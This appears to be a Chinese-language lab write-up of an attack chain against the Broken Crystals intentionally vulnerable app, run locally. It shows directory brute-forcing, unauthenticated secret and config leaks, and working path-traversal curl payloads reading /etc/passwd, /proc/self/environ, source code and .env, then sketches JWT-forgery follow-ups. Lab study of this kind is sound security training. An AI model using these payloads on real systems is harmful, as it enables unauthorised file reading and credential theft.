7 min read

Broken Crystals 實戰筆記 1:從資訊洩漏一路串到任意檔案讀取

Broken Crystals 實戰筆記 1:從資訊洩漏一路串到任意檔案讀取
這是我在本機架設現代化擬真漏洞靶場 Broken Crystals(由 DAST 廠商 Bright Security / NeuraLegion 維護的開源專案)、用真實 bug bounty 節奏開打的系列筆記,第一篇先把環境架設踩到的坑、以及第一條完整攻擊鏈(資訊洩漏 → LFI → 武器化)記下來,系列的核心不是「解題拿 flag」——Broken Crystals 沒有計分板——而是把它當成一個真實滲透目標,練方法論與手感。

為什麼選 Broken Crystals

Broken Crystals 用 docker-compose 起,技術棧是現代的 React 前端 + NestJS/Fastify 後端 + PostgreSQL,而且同時開了 REST(Swagger)、GraphQL、gRPC 三種介面,漏洞取材自真實世界,對以 API 獵洞為主的人來說,它比傳統靶場更貼近實戰,也很適合拿來當自己掃描器 / 工具鏈的 benchmark。

一、環境架設:一個關於 docker-compose 的坑

靶場本身 git clonedocker compose up 就能起,但我想把它綁在 127.0.0.1(公司內網不該暴露一個故意有洞的服務),於是寫了一份 compose.override.yml 來覆蓋 port 綁定。

結果連續踩雷:每次 up 都報某個 port address already in use,而且 ssnetstat(WSL 與 Windows 兩側都查)全都顯示該 port 是空的,修好一個又換下一個,像在打地鼠。

根因:compose 的 ports 是「串接」不是「取代」

查證後確認,Docker Compose 合併多個檔案時,ports 這類多值選項的預設行為是串接(concatenate)兩份清單而非覆蓋

正解:用 !override 標籤

Docker Compose 提供兩個 YAML 標籤來繞過標準合併規則:

  • !reset []:清空基底該屬性(用在完全不需要對外的服務,如 DB)
  • !override:完全取代基底該屬性(用在要重新指定對外綁定的服務)

最終可用的 override:

services:
  db:
    ports: !reset []
  keycloak:
    ports: !override
      - '127.0.0.1:8080:8080'
  nodejs:
    ports: !override
      - '127.0.0.1:3000:3000'
      - '127.0.0.1:5000:5000'
  grpcwebproxy:
    ports: !override
      - '127.0.0.1:8081:8081'
  mailcatcher:
    ports: !override
      - '127.0.0.1:1080:1080'
  ollama:
    ports: !reset []

關鍵習慣:up 之前先用 config 看穿合併結果,不要盲目啟動。

docker compose -f compose.local.yml -f compose.override.yml config | grep -iE "host_ip|published"

確認每個 port 只出現一次、host_ip 都是 127.0.0.1、沒有殘留的 0.0.0.0,再啟動,這個經驗在真實環境用 compose 分 dev/prod 設定時同樣適用。

二、偵查:從目錄爆破建立攻擊面地圖

環境起來後,不直接吃 Swagger 給的端點清單,而是照正規流程先做目錄爆破,把攻擊面自己挖出來(可能挖到 Swagger 沒列的隱藏路由)。

feroxbuster -u http://localhost:3000 \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50

讀回應碼:SPA 的判讀陷阱

前端是 SPA,特性是不存在的路徑常回 200 + 同一份 index.html(前端路由接管),feroxbuster 會 auto-filter 掉這種 404-like 回應,但仍要留意。

第一輪最有價值的線索是:

404  GET  69c   http://localhost:3000/api

/api 回的是 69 bytes 的 JSON 404(不是 SPA 的 3031 bytes 首頁),證明 /api/* 是後端 API 的地盤,與前端路由分離,攻擊面在此。

遞迴爆破 /api

feroxbuster 預設就遞迴(以 --depth 控制深度,預設 4),專打 API 地盤:

feroxbuster -u http://localhost:3000/api \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
  -t 50 --depth 3 -C 404 -o ferox_api.txt

撈到一批端點,每個回應碼都在說話:

端點 訊號
/api/secrets 200 (1186c) 名字叫 secrets,還回大量內容
/api/config 200 (156c) 設定端點
/api/file 500 缺參數就爆 → 疑似 LFI 入口
/api/goto 302 重導向 → 疑似 open redirect / SSRF
/api/products 403 需授權 → 之後測越權
/api/testimonials 200 (2c) 空陣列,普通端點

三、資訊洩漏:兩個未授權端點把後端褲子扒了

/api/secrets — 未授權憑證大洩漏

curl -s http://localhost:3000/api/secrets | jq

未經任何認證,直接吐出一整包各家服務的憑證(格式節錄,值已去敏):

  • Facebook access token(EAAC... 格式)
  • Google OAuth token(ya29... 格式)、OAuth client id
  • 一把 Base64 編碼的 Google API key
  • PayPal production access token
  • Slack token(xoxo-...)
  • CodeClimate / Heroku / Outlook webhook / HockeyApp 等

其中 Base64 那把順手解開,是標準 AIza 開頭的 Google API key:

echo "QUl6YVN5...(略)" | base64 -d
# AIzaSy...(AIza 開頭 = Google API key 特徵)

/api/config — 後端設定洩漏,含 DB 連線字串

curl -s http://localhost:3000/api/config | jq
{
  "awsBucket": "https://...s3.amazonaws.com",
  "sql": "postgres://bc:bc@db:5432/bc",
  "googlemaps": "AIza...(第二把 Google key)"
}

sql 這條最狠:完整的 DB 連線字串,帳號密碼 host port db 名一次到齊,這兩個端點屬「資訊洩漏」,已到手,但真正的重頭戲在下一個能動手利用的洞。

四、任意檔案讀取 (Path Traversal / LFI)

定位參數:讓錯誤訊息說話

/api/file 直接打回 500:

curl -s "http://localhost:3000/api/file"
# {"error":"Cannot read properties of undefined (reading 'startsWith')"}

這行 Node.js 錯誤洩漏了關鍵:程式對某個「你沒提供的參數」呼叫了 .startsWith()——這很可能是後端想做的路徑白名單檢查,換句話說,端點在等一個當作「檔案路徑」的參數,

先用正常檔案試探參數名 path,確認端點會讀檔並回傳:

curl -s "http://localhost:3000/api/file?path=package.json"
# → 回傳完整 package.json 內容

參數名正確、端點確實讀檔回傳,LFI 的前半成立。

驗證穿越:直攻 /etc/passwd

真正的任意檔案讀取要證明能跳出 web 目錄:

curl -s "http://localhost:3000/api/file?path=../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/sh
...
node:x:1000:1000::/home/node:/bin/sh

完整吐出,毫無過濾——那個 .startsWith 白名單形同虛設,任意檔案讀取正式確認,順帶情報:app 由非 root 的 node 使用者(uid 1000)執行,家目錄 /home/node,系統是 Alpine 系,

武器化:讀高價值檔案

LFI 的價值不在讀 /etc/passwd(那只是 PoC),而在讀能擴大戰果的檔案。

進程環境變數 /proc/self/environ(用 tr\0 轉換行):

curl -s "http://localhost:3000/api/file?path=../../../../../../proc/self/environ" | tr '\0' '\n'

從中確認 app 絕對路徑為 /usr/src/app(之後可直接用絕對路徑讀檔,不必湊 ../ 深度)。

後端原始碼——package.jsonstart:prod 指向 dist/main.js:

curl -s "http://localhost:3000/api/file?path=/usr/src/app/dist/main.js" | head -50

讀到編譯後的完整後端邏輯 → 這把 LFI 從「讀設定」升級為白箱源碼審計能力,可逐一檢視各端點實作,定位 SQLi / 命令注入的確切 sink。

.env——全套祕密:

curl -s "http://localhost:3000/api/file?path=/usr/src/app/.env"

撈到的祕密與其可串接的攻擊:

洩漏項 可串接攻擊
JWT_SECRET_KEY=1234 JWT 偽造 / 認證繞過(弱 HS256 secret)
KEYCLOAK_ADMIN_CLIENT_SECRET Keycloak realm 管理權
KEYCLOAK_PUBLIC_CLIENT_SECRET OIDC token 偽造
JKU_URL / X5U_URL JWT jku/x5u 標頭注入
DATABASE_* DB 連線(配合其他洞)

攻擊鏈總結

目錄爆破 (feroxbuster)
    └─ 定位 /api 後端地盤
         ├─ /api/secrets   → 未授權憑證洩漏(多家 token/key)
         ├─ /api/config    → DB 連線字串洩漏
         └─ /api/file      → 任意檔案讀取 (LFI)
                              ├─ /etc/passwd        (PoC)
                              ├─ /proc/self/environ (環境偵查)
                              ├─ dist/main.js       (白箱源碼)
                              └─ .env               (全套祕密 → 下一波攻擊鑰匙)

單一 LFI,透過選對「讀什麼」,從一個讀檔漏洞升級成:環境偵查能力 + 白箱源碼審計能力 + 全套憑證洩漏,這正是真實 bug bounty 裡「影響力(impact)不在漏洞類型,而在你能把它推到多遠」的體現。

本文為授權範圍內的本機自建靶場測試紀錄所有洩漏憑證均為靶場預設假資料文中已做去敏節錄請勿將任何技術用於未授權目標。